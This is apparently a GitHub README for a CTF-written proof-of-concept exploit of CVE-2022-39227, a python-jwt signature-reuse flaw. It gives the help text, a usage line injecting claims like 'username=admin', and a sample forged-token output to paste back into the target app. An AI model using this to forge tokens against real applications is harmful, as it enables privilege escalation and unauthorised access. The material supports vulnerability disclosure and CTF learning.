user0x1337/cve-2022-39227CVE-2022-39227 : Proof of Concept
CVE-2022-39227 : Proof of Concept
Proof of concept for the CVE-2022-39227. According to this CVE, there is a flaw in the JSON Web Token verification. It is possible with a valid token to re-use its signature with modified claims.
Required:
For the ease of use I wrote a simple PoC during a CTF:
usage: CVE-2022-39227-PoC [-h] -j TOKEN -i CLAIM
Proof of Concept for the JWT verification bug in python-jwt version < 3.3.4
options:
-h, --help show this help message and exit
-j TOKEN, --jwt_token TOKEN
Original and valid JWT Token returned by the application
-i CLAIM, --injected_claim CLAIM
Inject claim using the form "key=value", e.g. "username=admin". Use "," for more claims
(e.g. username=admin,id=3)
Usage:
python3 cve_2022_39227.py -j <JWT-WEBTOKEN> -i "<KEY>=<VALUE>"
Returns:
{" <SNIP>":"","protected":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"<SNIP>","signature":"18-caQyY-mnreIUb53kk5qI-axRoxSzQKyT033yOdUw"}
The return value is a mix form of JSON and compact representation. You need to paste the entire value including "{" and "}" as your new JWT Web token.